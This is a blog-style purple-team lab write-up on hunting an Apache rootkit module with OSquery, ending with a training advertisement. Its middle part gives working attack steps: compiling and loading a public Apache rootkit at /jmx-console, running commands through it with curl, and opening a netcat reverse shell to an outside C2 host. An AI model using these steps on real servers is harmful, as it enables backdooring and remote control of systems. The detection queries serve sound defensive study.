Hunting for Apache rootkit using OSquery
In this short blog post, I would like to show you how easy it is to backdoor Apache HTTP server running on the Linux platform by using a malicious Apache module with rootkit functionality. Visibility across network and system internals, monitoring configuration changes / FS & web server content integrity checking is very important from a blue perspective and with no doubt is needed. However, based on my experience it seems that many companies actually don't care about it saying it's too expensive to do it for 100-1000 of servers. Because of that, I want to focus on detection steps of how to use OSquery to catch such suspicious activities and 'connect the attack dots' together at scale. I believe you could use this step by step scenario for your own purple simulations to find 'where you at' or at least for figuring out how your Apache instances behave in terms of mapped memory, loaded modules, parent/child relations, and outgoing connections initiated by httpd daemon.
The first step is to get a baseline profile of running Apache instances and loaded modules. There are different ways to grab such kind of information:
1.0) Manually by apachectl:
# apachectl -D DUMP_MODULES
Loaded Modules:
core_module (static)
so_module (static)
http_module (static)
access_compat_module (shared)
actions_module (shared)
alias_module (shared)
allowmethods_module (shared)
auth_basic_module (shared)
auth_digest_module (shared)
authn_anon_module (shared)
authn_core_module (shared)
authn_dbd_module (shared)
authn_dbm_module (shared)
authn_file_module (shared)
authn_socache_module (shared)
authz_core_module (shared)
authz_dbd_module (shared)
authz_dbm_module (shared)
authz_groupfile_module (shared)
authz_host_module (shared)
authz_owner_module (shared)
authz_user_module (shared)
autoindex_module (shared)
cache_module (shared)
cache_disk_module (shared)
data_module (shared)
dbd_module (shared)
deflate_module (shared)
dir_module (shared)
dumpio_module (shared)
echo_module (shared)
env_module (shared)
expires_module (shared)
ext_filter_module (shared)
filter_module (shared)
headers_module (shared)
include_module (shared)
info_module (shared)
log_config_module (shared)
logio_module (shared)
mime_magic_module (shared)
mime_module (shared)
negotiation_module (shared)
remoteip_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
slotmem_plain_module (shared)
slotmem_shm_module (shared)
socache_dbm_module (shared)
socache_memcache_module (shared)
socache_shmcb_module (shared)
status_module (shared)
substitute_module (shared)
suexec_module (shared)
unique_id_module (shared)
unixd_module (shared)
userdir_module (shared)
version_module (shared)
vhost_alias_module (shared)
dav_module (shared)
dav_fs_module (shared)
dav_lock_module (shared)
lua_module (shared)
mpm_prefork_module (shared)
proxy_module (shared)
lbmethod_bybusyness_module (shared)
lbmethod_byrequests_module (shared)
lbmethod_bytraffic_module (shared)
lbmethod_heartbeat_module (shared)
proxy_ajp_module (shared)
proxy_balancer_module (shared)
proxy_connect_module (shared)
proxy_express_module (shared)
proxy_fcgi_module (shared)
proxy_fdpass_module (shared)
proxy_ftp_module (shared)
proxy_http_module (shared)
proxy_scgi_module (shared)
proxy_wstunnel_module (shared)
systemd_module (shared)
cgi_module (shared)
php5_module (shared)
2.0). Manually by /proc/PID/maps:
# ps uax | grep httpd
root 25425 0.0 1.2 312920 12836 ? Ss Jun17 0:08 /usr/sbin/httpd -DFOREGROUND
apache 29380 0.0 0.7 312920 7548 ? S 12:42 0:00 /usr/sbin/httpd -DFOREGROUND
apache 29381 0.0 0.7 312920 7548 ? S 12:42 0:00 /usr/sbin/httpd -DFOREGROUND
apache 29382 0.0 0.7 312924 7340 ? S 12:42 0:00 /usr/sbin/httpd -DFOREGROUND
apache 29383 0.0 0.6 312920 6844 ? S 12:42 0:00 /usr/sbin/httpd -DFOREGROUND
apache 29384 0.0 0.6 312920 6844 ? S 12:42 0:00 /usr/sbin/httpd -DFOREGROUND
# cat /proc/25425/maps | grep /usr/lib64/httpd/modules | awk -F " " ' { print $6 } ' | sort | uniq
/usr/lib64/httpd/modules/libphp5.so
/usr/lib64/httpd/modules/mod_access_compat.so
/usr/lib64/httpd/modules/mod_actions.so
/usr/lib64/httpd/modules/mod_alias.so
/usr/lib64/httpd/modules/mod_allowmethods.so
/usr/lib64/httpd/modules/mod_auth_basic.so
/usr/lib64/httpd/modules/mod_auth_digest.so
/usr/lib64/httpd/modules/mod_authn_anon.so
/usr/lib64/httpd/modules/mod_authn_core.so
/usr/lib64/httpd/modules/mod_authn_dbd.so
/usr/lib64/httpd/modules/mod_authn_dbm.so
/usr/lib64/httpd/modules/mod_authn_file.so
/usr/lib64/httpd/modules/mod_authn_socache.so
/usr/lib64/httpd/modules/mod_authz_core.so
/usr/lib64/httpd/modules/mod_authz_dbd.so
/usr/lib64/httpd/modules/mod_authz_dbm.so
/usr/lib64/httpd/modules/mod_authz_groupfile.so
/usr/lib64/httpd/modules/mod_authz_host.so
/usr/lib64/httpd/modules/mod_authz_owner.so
/usr/lib64/httpd/modules/mod_authz_user.so
/usr/lib64/httpd/modules/mod_autoindex.so
/usr/lib64/httpd/modules/mod_cache_disk.so
/usr/lib64/httpd/modules/mod_cache.so
/usr/lib64/httpd/modules/mod_cgi.so
/usr/lib64/httpd/modules/mod_data.so
/usr/lib64/httpd/modules/mod_dav_fs.so
/usr/lib64/httpd/modules/mod_dav_lock.so
/usr/lib64/httpd/modules/mod_dav.so
/usr/lib64/httpd/modules/mod_dbd.so
/usr/lib64/httpd/modules/mod_deflate.so
/usr/lib64/httpd/modules/mod_dir.so
/usr/lib64/httpd/modules/mod_dumpio.so
/usr/lib64/httpd/modules/mod_echo.so
/usr/lib64/httpd/modules/mod_env.so
/usr/lib64/httpd/modules/mod_expires.so
/usr/lib64/httpd/modules/mod_ext_filter.so
/usr/lib64/httpd/modules/mod_filter.so
/usr/lib64/httpd/modules/mod_headers.so
/usr/lib64/httpd/modules/mod_include.so
/usr/lib64/httpd/modules/mod_info.so
/usr/lib64/httpd/modules/mod_lbmethod_bybusyness.so
/usr/lib64/httpd/modules/mod_lbmethod_byrequests.so
/usr/lib64/httpd/modules/mod_lbmethod_bytraffic.so
/usr/lib64/httpd/modules/mod_lbmethod_heartbeat.so
/usr/lib64/httpd/modules/mod_log_config.so
/usr/lib64/httpd/modules/mod_logio.so
/usr/lib64/httpd/modules/mod_lua.so
/usr/lib64/httpd/modules/mod_mime_magic.so
/usr/lib64/httpd/modules/mod_mime.so
/usr/lib64/httpd/modules/mod_mpm_prefork.so
/usr/lib64/httpd/modules/mod_negotiation.so
/usr/lib64/httpd/modules/mod_proxy_ajp.so
/usr/lib64/httpd/modules/mod_proxy_balancer.so
/usr/lib64/httpd/modules/mod_proxy_connect.so
/usr/lib64/httpd/modules/mod_proxy_express.so
/usr/lib64/httpd/modules/mod_proxy_fcgi.so
/usr/lib64/httpd/modules/mod_proxy_fdpass.so
/usr/lib64/httpd/modules/mod_proxy_ftp.so
/usr/lib64/httpd/modules/mod_proxy_http.so
/usr/lib64/httpd/modules/mod_proxy_scgi.so
/usr/lib64/httpd/modules/mod_proxy.so
/usr/lib64/httpd/modules/mod_proxy_wstunnel.so
/usr/lib64/httpd/modules/mod_remoteip.so
/usr/lib64/httpd/modules/mod_reqtimeout.so
/usr/lib64/httpd/modules/mod_rewrite.so
/usr/lib64/httpd/modules/mod_setenvif.so
/usr/lib64/httpd/modules/mod_slotmem_plain.so
/usr/lib64/httpd/modules/mod_slotmem_shm.so
/usr/lib64/httpd/modules/mod_socache_dbm.so
/usr/lib64/httpd/modules/mod_socache_memcache.so
/usr/lib64/httpd/modules/mod_socache_shmcb.so
/usr/lib64/httpd/modules/mod_status.so
/usr/lib64/httpd/modules/mod_substitute.so
/usr/lib64/httpd/modules/mod_suexec.so
/usr/lib64/httpd/modules/mod_systemd.so
/usr/lib64/httpd/modules/mod_unique_id.so
/usr/lib64/httpd/modules/mod_unixd.so
/usr/lib64/httpd/modules/mod_userdir.so
/usr/lib64/httpd/modules/mod_version.so
/usr/lib64/httpd/modules/mod_vhost_alias.so
Remember, that from the hardening point of view, it's always recommended to remove/disable unnecessary Apache modules.
3.0). At scale by OSquery:
> SELECT pid, name, username FROM processes p JOIN users u ON u.uid = p.uid where name = "httpd"
> SELECT * from process_memory_map where pid = '25425' and path like '/usr/lib64/httpd/modules/%';
> SELECT count(*) from process_memory_map where pid = '25425' and path like '/usr/lib64/httpd/modules/%';
Time for Apache rootkit installation.
The first step is to get and compile an Apache rootkit project by C. Papathanasiou.
Perhaps you should run it on the attacker's machine and deliver a 'ready to load' mod_authg.so file.
However, in our case we will run all these steps from the same machine to show you how many different places exist to alert you about that something has happen.
# yum install httpd-devel
# git clone https://github.com/ChristianPapathanasiou/apache-rootkit.git
# cd apache-rootkit/
# apxs -c -i mod_authg.c
# chmod 755 /usr/lib64/httpd/modules/mod_authg.so
The new httpd module has been deployed. Let's activate it through modules configuration with custom Location and restart httpd service.
# vim /etc/httpd/conf.modules.d/00-mpm.conf
LoadModule authg_module modules/mod_authg.so
<Location /jmx-console>
SetHandler authg
</Location>
# systemctl reload httpd
We are ready now to test if the rootkit works:
KALI:
$ curl http://192.168.38.231/jmx-console?c=id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
$ curl http://192.168.38.231/jmx-console?c=hostname
prd11
Let's establish a reverse shell connection directly from Apache instance to our external C2 server:
C2:
# nc -vnlp 4900
Listening on [0.0.0.0] (family 0, port 4900)
KALI:
curl http://192.168.38.231/jmx-console?c='/bin/sh|%20nc%20AAA.BBB.CCC.DDD%204900%20-e%20/bin/bash'
C2:
# nc -vnlp 4900
Listening on [0.0.0.0] (family 0, port 4900)
Connection from XXX.YYY.ZZZ.AAA 58996 received!
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
Perfect, it works!
How to hunt for this kind of attack artifacts at scale? I have prepared a universal single query to essentially grab /proc/maps of every Apache process running in the OS:
> select count(*) from process_memory_map where pid = (SELECT pid FROM processes where cmdline LIKE "/usr/sbin/httpd%") and path like '/usr/lib64/httpd/modules/%';
324 (before rootkit installation the result was 320)
Do you see a difference? Now, grab and analyze the full list of loaded Apache modules. You should find a new authg_module that has been loaded into the apache process space.
> select * from process_memory_map where pid = (SELECT pid FROM processes where cmdline LIKE "/usr/sbin/httpd%") and path like '/usr/lib64/httpd/modules/%';
Whenever you have osquery results stored into central database you can prepare a diff-style queries for immediately alerting.
At the end, let's switch to local console. From the pstree view it looks like that:
# yum install psmisc
# pstree -u -a -H 25425 25425
httpd -DFOREGROUND
├─httpd,apache -DFOREGROUND
├─httpd,apache -DFOREGROUND
├─httpd,apache -DFOREGROUND
├─httpd,apache -DFOREGROUND
│ └─sh -c /bin/sh| nc 185.219.132.157 4900 -e /bin/bash
│ └─nc AAA.BBB.CCC.DDD 4900 -e /bin/bash
│ └─bash
├─httpd,apache -DFOREGROUND
└─httpd,apache -DFOREGROUND
Additionally you could even hunt for such suspicious Apache activity just by running another simple query:
> select * from processes where name = 'bash' and uid = '48';
Let's try to find also outgoing network connections that have been initialized by local processes:
> select processes.name, processes.parent, process_open_sockets.remote_address, process_open_sockets.remote_port from process_open_sockets LEFT JOIN processes ON process_open_sockets.pid = processes.pid WHERE process_open_sockets.remote_port != 0 and processes.name != '';
As you can see, there is a bash process that has estabslished a direct connection to 185.219.132.157 on port 4900/TCP which is our reverse shell over Apache rootkit.
In case you have network visibility of HTTP traffic, you could use Zeek IDS to find a suspicious /jmx-console URI in use with HTTP code 200:
Emerging Threats 'ATTACK_RESPONSE Output of id command from HTTP server' works very good as well against simply checking what user privileges we've got.
Don't forget that auditd or inotify could bring you also FIM details about FS operations (new file created, configuration file modified). And again, by using OSquery you can achieve the same at scale: https://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/
If you enjoy this lab scenario I highly recommend you check out PurpleLABS - Detection Infrastructure + Offensive Labs where you could play step by step with this lab along to the rest of 45 attack-detection scenarios that I have already prepared. You may use PurpleLABS as a full visibility infrastructure to run your own hunting research. The link to the project is here: https://www.defensive-security.com/purplelabs/
If you are interested more in the Offensive side of Network Exfiltration and Post-Exploitation Techniques then I am proud to say that the registration to 3-DAY TRAINING 7 – In & Out – Network Exfiltration and Post-Exploitation Techniques [RED Edition] training @ Hack In The Box 2020 in Singapore is already open. Still, a few seats are available. After the training, each attendee will get an additional 14-days of PurpleLABS access to play and learn even more!
May the packets stay with U!
/lm